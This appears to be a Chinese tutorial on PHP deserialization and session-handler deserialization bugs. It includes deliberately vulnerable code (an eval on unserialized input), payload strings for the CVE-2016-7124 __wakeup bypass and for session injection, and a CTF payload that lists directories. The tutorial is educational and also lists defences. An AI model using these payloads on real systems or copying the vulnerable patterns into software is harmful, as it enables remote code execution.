原理+实践掌握(PHP反序列化和Session反序列化)
字数 1692 2025-08-20 18:17:31

PHP反序列化与Session反序列化漏洞详解

一、PHP序列化基础

1. 序列化函数:serialize()

PHP中的serialize()函数可以将任何PHP值转换为可存储的字符串表示形式。

$s = serialize($变量); // 将变量数据序列化为字符串
file_put_contents('./目标文本文件', $s); // 将序列化字符串保存到文件

2. 序列化格式解析

示例:

class User {
    public $name = 'lemon';
    public $age = 20;
}
$user = new User();
echo serialize($user);
// 输出: O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}

格式说明:

O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}
  • O - 对象类型
  • 4 - 类名长度
  • User - 类名
  • 2 - 属性数量
  • {...} - 属性列表,格式为类型:长度:"名称";值

类型缩写:

a - array        b - boolean    d - double
i - integer      o - common object
r - reference    s - string     C - custom object
O - class        N - null       R - pointer reference
U - unicode string

二、PHP反序列化基础

1. 反序列化函数:unserialize()

$s = file_get_contents('./目标文本文件');
$变量 = unserialize($s); // 将序列化字符串还原为PHP变量

重要注意事项

  • 在反序列化对象前,该对象的类必须在当前作用域中已定义
  • 否则会触发错误

2. 反序列化过程示例

class User {
    public $name;
    public $age;
}

$serialized = 'O:4:"User":2:{s:4:"name";s:5:"lemon";s:3:"age";i:20;}';
$user = unserialize($serialized);
echo "User {$user->name} is {$user->age} years old.";

三、PHP反序列化漏洞

1. 魔法函数(魔术方法)

PHP中以__开头的类方法为魔术方法,会在特定条件下自动调用:

__construct()    // 对象创建时调用
__destruct()     // 对象销毁时调用
__toString()     // 对象被当作字符串使用时调用
__wakeup()       // 使用unserialize时触发
__sleep()        // 使用serialize时触发
__call()         // 调用不可访问方法时触发
// 其他魔术方法...

2. 漏洞产生条件

反序列化漏洞需要满足两个前提:

  1. unserialize()的参数可控(用户可输入)
  2. 代码中定义了含有魔术方法的类,且方法中存在使用类成员变量作为参数的危险函数

3. 漏洞利用示例

class A {
    var $test = "demo";
    function __destruct() {
        echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

攻击者可构造payload:

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

更危险的例子:

class A {
    var $test = "demo";
    function __destruct() {
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);

四、绕过魔法函数的技巧

1. CVE-2016-7124漏洞

影响版本

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

绕过原理
当反序列化字符串中表示属性个数的值大于真实属性个数时,会绕过__wakeup()函数的执行

2. 绕过示例

原始序列化:

O:4:"Demo":1:{s:10:"Demofile";s:16:"Gu3ss_m3_h2h2.php";}

绕过方法:

  1. 修改属性数量:O:4:"Demo":2:{s:10:"Demofile";s:16:"Gu3ss_m3_h2h2.php";}
  2. 绕过正则检测:O:+4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

五、Session反序列化攻击

1. Session基础知识

Session作用
存储特定用户会话所需的属性及配置信息,在用户访问网站期间保持不变

Session存储
默认存储在服务器文件中,路径可通过php.inisession.save_path配置

2. Session处理引擎

PHP有三种session序列化处理器:

处理器 存储格式
php 键名|序列化值
php_serialize 序列化整个$_SESSION数组
php_binary 键名长度+键名+序列化值

3. 漏洞产生条件

当应用程序混合使用不同的session处理器时,可能导致反序列化漏洞

4. 攻击示例

场景1:直接操作$_SESSION

1.php (使用php_serialize):

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['lemon'] = $_GET['a'];

2.php (使用php):

ini_set('session.serialize_handler', 'php');
session_start();
class student {
    function __wakeup() {
        echo "Hacked!";
    }
}

攻击步骤:

  1. 访问1.php传入payload:?a=|O:7:"student":0:{}
  2. 访问2.php触发反序列化

场景2:利用upload_process机制

当无法直接操作$_SESSION时,可利用PHP的文件上传进度特性:

<form action="target.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|payload" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

六、防御措施

  1. 不要反序列化不可信的用户输入
  2. 使用一致的session序列化处理器
  3. 对序列化数据进行签名验证
  4. 使用session_regenerate_id()防止session固定攻击
  5. 及时更新PHP版本,修复已知漏洞

七、实战案例

1. Jarvis OJ - PHPINFO题目分析

漏洞点

  • 默认session处理器为php_serialize
  • 题目使用php处理器
  • 利用upload_process机制注入恶意序列化数据

攻击步骤

  1. 构造payload序列化对象
  2. 通过文件上传表单注入session
  3. 触发反序列化执行任意代码
class OowoO {
    public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo serialize(new OowoO());
// 构造: |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

总结

PHP反序列化漏洞是Web安全中的重要攻击面,理解其原理和利用方式对于安全研究和防御都至关重要。关键点包括:

  • 序列化/反序列化过程
  • 魔术方法的触发条件
  • Session处理器的差异
  • 实际环境中的利用技巧

通过深入理解这些机制,可以更好地发现和防御相关漏洞。

PHP反序列化与Session反序列化漏洞详解 一、PHP序列化基础 1. 序列化函数:serialize() PHP中的 serialize() 函数可以将任何PHP值转换为可存储的字符串表示形式。 2. 序列化格式解析 示例: 格式说明: O - 对象类型 4 - 类名长度 User - 类名 2 - 属性数量 {...} - 属性列表,格式为 类型:长度:"名称";值 类型缩写: 二、PHP反序列化基础 1. 反序列化函数:unserialize() 重要注意事项 : 在反序列化对象前,该对象的类必须在当前作用域中已定义 否则会触发错误 2. 反序列化过程示例 三、PHP反序列化漏洞 1. 魔法函数(魔术方法) PHP中以 __ 开头的类方法为魔术方法,会在特定条件下自动调用: 2. 漏洞产生条件 反序列化漏洞需要满足两个前提: unserialize() 的参数可控(用户可输入) 代码中定义了含有魔术方法的类,且方法中存在使用类成员变量作为参数的危险函数 3. 漏洞利用示例 攻击者可构造payload: 更危险的例子: 四、绕过魔法函数的技巧 1. CVE-2016-7124漏洞 影响版本 : PHP5 < 5.6.25 PHP7 < 7.0.10 绕过原理 : 当反序列化字符串中表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行 2. 绕过示例 原始序列化: 绕过方法: 修改属性数量: O:4:"Demo":2:{s:10:"Demofile";s:16:"Gu3ss_m3_h2h2.php";} 绕过正则检测: O:+4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";} 五、Session反序列化攻击 1. Session基础知识 Session作用 : 存储特定用户会话所需的属性及配置信息,在用户访问网站期间保持不变 Session存储 : 默认存储在服务器文件中,路径可通过 php.ini 的 session.save_path 配置 2. Session处理引擎 PHP有三种session序列化处理器: | 处理器 | 存储格式 | |--------|----------| | php | 键名\|序列化值 | | php_ serialize | 序列化整个$_ SESSION数组 | | php_ binary | 键名长度+键名+序列化值 | 3. 漏洞产生条件 当应用程序混合使用不同的session处理器时,可能导致反序列化漏洞 4. 攻击示例 场景1 :直接操作$_ SESSION 1.php (使用php_ serialize): 2.php (使用php): 攻击步骤: 访问1.php传入payload: ?a=|O:7:"student":0:{} 访问2.php触发反序列化 场景2 :利用upload_ process机制 当无法直接操作$_ SESSION时,可利用PHP的文件上传进度特性: 六、防御措施 不要反序列化不可信的用户输入 使用一致的session序列化处理器 对序列化数据进行签名验证 使用 session_regenerate_id() 防止session固定攻击 及时更新PHP版本,修复已知漏洞 七、实战案例 1. Jarvis OJ - PHPINFO题目分析 漏洞点 : 默认session处理器为php_ serialize 题目使用php处理器 利用upload_ process机制注入恶意序列化数据 攻击步骤 : 构造payload序列化对象 通过文件上传表单注入session 触发反序列化执行任意代码 总结 PHP反序列化漏洞是Web安全中的重要攻击面,理解其原理和利用方式对于安全研究和防御都至关重要。关键点包括: 序列化/反序列化过程 魔术方法的触发条件 Session处理器的差异 实际环境中的利用技巧 通过深入理解这些机制,可以更好地发现和防御相关漏洞。